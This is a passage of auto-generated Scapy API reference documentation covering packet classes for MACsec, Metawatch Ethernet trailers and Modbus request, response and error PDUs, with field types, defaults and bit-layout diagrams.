+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     FLAGS     | PENDING GRANTS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. MACControlReport                       


MACControlReport fields






	_op_code

	ShortField

	3



	timestamp

	IntField

	0



	flags

	ByteEnumField

	0



	pending_grants

	ByteField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.macsec

Classes and functions for MACsec.


	
class scapy.contrib.macsec.MACsec(_pkt, /, *, Ver=0, ES=0, SC=0, SCB=0, E=0, C=0, AN=0, reserved=0, SL=0, PN=1, SCI=None, type=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L210-L249]

	Bases: Packet

representation of one MACsec frame


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'an': ('AN', '2.4.4'), 'pn': ('PN', '2.4.4'), 'sci': ('SCI', '2.4.4'), 'shortlen': ('SL', '2.4.4')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|V|E|S|S|E|C| AN|RES|     SL    |               PN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              SCI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. MACsec                            


MACsec fields






	Ver

	BitField  (1 bit)

	0



	ES

	BitField  (1 bit)

	0



	SC

	BitField  (1 bit)

	0



	SCB

	BitField  (1 bit)

	0



	E

	BitField  (1 bit)

	0



	C

	BitField  (1 bit)

	0



	AN

	BitField  (2 bits)

	0



	reserved

	BitField  (2 bits)

	0



	SL

	BitField  (6 bits)

	0



	PN

	IntField

	1



	SCI

	PacketField (Cond)

	None



	type

	XShortEnumField (Cond)

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L243-L249]

	




	
payload_guess

	Possible sublayers:
IP, IPv6










	
class scapy.contrib.macsec.MACsecSA(sci, an, pn, key, icvlen, encrypt, send_sci, xpn_en=False, ssci=None, salt=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L45-L207]

	Bases: object

Representation of a MACsec Secure Association

Provides encapsulation, decapsulation, encryption, and decryption
of MACsec frames


	
c_bit()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L108-L110]

	returns the value of the C bit for packets sent through this SA






	
decap(orig_pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L137-L151]

	decapsulate a MACsec frame






	
decrypt(orig_pkt, assoclen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L180-L207]

	decrypt a MACsec frame for this Secure Association






	
e_bit()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L104-L106]

	returns the value of the E bit for packets sent through this SA






	
encap(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L120-L133]

	encapsulate a frame using this Secure Association






	
encrypt(orig_pkt, assoclen=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L153-L178]

	encrypt a MACsec frame for this Secure Association






	
make_iv(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L79-L86]

	generate an IV for the packet






	
static shortlen(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L112-L118]

	determine shortlen for a raw packet (not encapsulated yet)






	
static split_pkt(pkt, assoclen, icvlen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/macsec.py#L88-L102]

	split the packet into associated data, plaintext or ciphertext, and
optional ICV












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.metawatch


	
class scapy.contrib.metawatch.MetawatchEther(_pkt, /, *, dst=None, src=None, type=36864, metamako_portid=None, metamako_devid=None, metamako_flags=<Flag 0 ()>, metamako_nanos=0, metamako_seconds=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/metawatch.py#L20-L30]

	Bases: Ether


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DST                              |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              SRC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |METAMAKO PORTID| METAMAKO DEVID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               | METAMAKO FLAGS|         METAMAKO NANOS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        METAMAKO SECONDS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. MetawatchEther                        


MetawatchEther fields






	dst

	DestMACField

	None



	src

	SourceMACField

	None



	type

	XShortEnumField

	36864



	metamako_portid

	TrailerField

	None



	metamako_devid

	TrailerField

	None



	metamako_flags

	TrailerField

	<Flag 0 ()>



	metamako_nanos

	TrailerField

	0



	metamako_seconds

	TrailerField

	0











	
match_subclass = True

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.modbus


	
class scapy.contrib.modbus.ModbusADURequest(_pkt, /, *, transId=0, protoId=0, len=None, unitId=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L855-L889]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TRANSID            |            PROTOID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |     UNITID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ModbusADURequest                       


ModbusADURequest fields






	transId

	XShortField

	0



	protoId

	XShortField

	0



	len

	ShortField

	None



	unitId

	XByteField

	255











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L868-L883]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L885-L889]

	








	
class scapy.contrib.modbus.ModbusADUResponse(_pkt, /, *, transId=0, protoId=0, len=None, unitId=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L892-L934]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TRANSID            |            PROTOID            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |     UNITID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ModbusADUResponse                      


ModbusADUResponse fields






	transId

	XShortField

	0



	protoId

	XShortField

	0



	len

	ShortField

	None



	unitId

	XByteField

	255











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L905-L928]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L930-L934]

	








	
class scapy.contrib.modbus.ModbusByteEnumField(name, default, enum, defEnum)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L721-L734]

	Bases: EnumField


	
defEnum

	




	
i2repr_one(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L728-L734]

	








	
class scapy.contrib.modbus.ModbusObjectId(_pkt, /, *, id=0, length=None, value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L773-L781]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |     LENGTH    |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ModbusObjectId                        


ModbusObjectId fields






	id

	ByteEnumField

	0



	length

	BitFieldLenField  (8 bits)

	None



	value

	StrLenField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L780-L781]

	








	
class scapy.contrib.modbus.ModbusPDU01ReadCoilsError(_pkt, /, *, funcCode=129, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L58-L61]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ModbusPDU01ReadCoilsError                  


ModbusPDU01ReadCoilsError fields






	funcCode

	XByteField

	129



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU01ReadCoilsRequest(_pkt, /, *, funcCode=1, startAddr=0, quantity=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L42-L46]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           |    QUANTITY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                 Fig. ModbusPDU01ReadCoilsRequest                 


ModbusPDU01ReadCoilsRequest fields






	funcCode

	XByteField

	1



	startAddr

	XShortField

	0



	quantity

	XShortField

	1















	
class scapy.contrib.modbus.ModbusPDU01ReadCoilsResponse(_pkt, /, *, funcCode=1, byteCount=None, coilStatus=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L49-L55]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |           COILSTATUS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ModbusPDU01ReadCoilsResponse                 


ModbusPDU01ReadCoilsResponse fields






	funcCode

	XByteField

	1



	byteCount

	BitFieldLenField  (8 bits)

	None



	coilStatus

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU02ReadDiscreteInputsError(_pkt, /, *, funcCode=130, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L84-L87]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU02ReadDiscreteInputsError              


ModbusPDU02ReadDiscreteInputsError fields






	funcCode

	XByteField

	130



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU02ReadDiscreteInputsRequest(_pkt, /, *, funcCode=2, startAddr=0, quantity=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L64-L68]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           |    QUANTITY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU02ReadDiscreteInputsRequest             


ModbusPDU02ReadDiscreteInputsRequest fields






	funcCode

	XByteField

	2



	startAddr

	XShortField

	0



	quantity

	XShortField

	1















	
class scapy.contrib.modbus.ModbusPDU02ReadDiscreteInputsResponse(_pkt, /, *, funcCode=2, byteCount=None, inputStatus=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L71-L81]

	Bases: Packet

inputStatus: result is represented as bytes, padded with 0 to have a
integer number of bytes. The field does not parse this result and
present the bytes directly


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |          INPUTSTATUS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU02ReadDiscreteInputsResponse            


ModbusPDU02ReadDiscreteInputsResponse fields






	funcCode

	XByteField

	2



	byteCount

	BitFieldLenField  (8 bits)

	None



	inputStatus

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU03ReadHoldingRegistersError(_pkt, /, *, funcCode=131, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L108-L111]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU03ReadHoldingRegistersError             


ModbusPDU03ReadHoldingRegistersError fields






	funcCode

	XByteField

	131



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU03ReadHoldingRegistersRequest(_pkt, /, *, funcCode=3, startAddr=0, quantity=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L90-L94]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           |    QUANTITY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

           Fig. ModbusPDU03ReadHoldingRegistersRequest            


ModbusPDU03ReadHoldingRegistersRequest fields






	funcCode

	XByteField

	3



	startAddr

	XShortField

	0



	quantity

	XShortField

	1















	
class scapy.contrib.modbus.ModbusPDU03ReadHoldingRegistersResponse(_pkt, /, *, funcCode=3, byteCount=None, registerVal=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L97-L105]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |          REGISTERVAL          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. ModbusPDU03ReadHoldingRegistersResponse           


ModbusPDU03ReadHoldingRegistersResponse fields






	funcCode

	XByteField

	3



	byteCount

	BitFieldLenField  (8 bits)

	None



	registerVal

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU04ReadInputRegistersError(_pkt, /, *, funcCode=132, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L132-L135]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU04ReadInputRegistersError              


ModbusPDU04ReadInputRegistersError fields






	funcCode

	XByteField

	132



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU04ReadInputRegistersRequest(_pkt, /, *, funcCode=4, startAddr=0, quantity=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L114-L118]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           STARTADDR           |    QUANTITY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU04ReadInputRegistersRequest             


ModbusPDU04ReadInputRegistersRequest fields






	funcCode

	XByteField

	4



	startAddr

	XShortField

	0



	quantity

	XShortField

	1















	
class scapy.contrib.modbus.ModbusPDU04ReadInputRegistersResponse(_pkt, /, *, funcCode=4, byteCount=None, registerVal=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L121-L129]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |          REGISTERVAL          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU04ReadInputRegistersResponse            


ModbusPDU04ReadInputRegistersResponse fields






	funcCode

	XByteField

	4



	byteCount

	BitFieldLenField  (8 bits)

	None



	registerVal

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU05WriteSingleCoilError(_pkt, /, *, funcCode=133, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L157-L160]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ModbusPDU05WriteSingleCoilError               


ModbusPDU05WriteSingleCoilError fields






	funcCode

	XByteField

	133



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU05WriteSingleCoilRequest(_pkt, /, *, funcCode=5, outputAddr=0, outputValue=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L138-L144]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           OUTPUTADDR          |  OUTPUTVALUE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU05WriteSingleCoilRequest              


ModbusPDU05WriteSingleCoilRequest fields






	funcCode

	XByteField

	5



	outputAddr

	XShortField

	0



	outputValue

	XShortField

	0















	
class scapy.contrib.modbus.ModbusPDU05WriteSingleCoilResponse(_pkt, /, *, funcCode=5, outputAddr=0, outputValue=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L147-L154]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           OUTPUTADDR          |  OUTPUTVALUE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU05WriteSingleCoilResponse              


ModbusPDU05WriteSingleCoilResponse fields






	funcCode

	XByteField

	5



	outputAddr

	XShortField

	0



	outputValue

	XShortField

	0















	
class scapy.contrib.modbus.ModbusPDU06WriteSingleRegisterError(_pkt, /, *, funcCode=134, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L177-L180]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU06WriteSingleRegisterError             


ModbusPDU06WriteSingleRegisterError fields






	funcCode

	XByteField

	134



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU06WriteSingleRegisterRequest(_pkt, /, *, funcCode=6, registerAddr=0, registerValue=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L163-L167]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |          REGISTERADDR         | REGISTERVALUE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU06WriteSingleRegisterRequest            


ModbusPDU06WriteSingleRegisterRequest fields






	funcCode

	XByteField

	6



	registerAddr

	XShortField

	0



	registerValue

	XShortField

	0















	
class scapy.contrib.modbus.ModbusPDU06WriteSingleRegisterResponse(_pkt, /, *, funcCode=6, registerAddr=0, registerValue=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L170-L174]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |          REGISTERADDR         | REGISTERVALUE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

           Fig. ModbusPDU06WriteSingleRegisterResponse            


ModbusPDU06WriteSingleRegisterResponse fields






	funcCode

	XByteField

	6



	registerAddr

	XShortField

	0



	registerValue

	XShortField

	0















	
class scapy.contrib.modbus.ModbusPDU07ReadExceptionStatusError(_pkt, /, *, funcCode=135, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L194-L197]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDU07ReadExceptionStatusError             


ModbusPDU07ReadExceptionStatusError fields






	funcCode

	XByteField

	135



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU07ReadExceptionStatusRequest(_pkt, /, *, funcCode=7)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L183-L185]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |
+-+-+-+-+-+-+-+-+

            Fig. ModbusPDU07ReadExceptionStatusRequest            


ModbusPDU07ReadExceptionStatusRequest fields






	funcCode

	XByteField

	7















	
class scapy.contrib.modbus.ModbusPDU07ReadExceptionStatusResponse(_pkt, /, *, funcCode=7, startAddr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L188-L191]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   STARTADDR   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

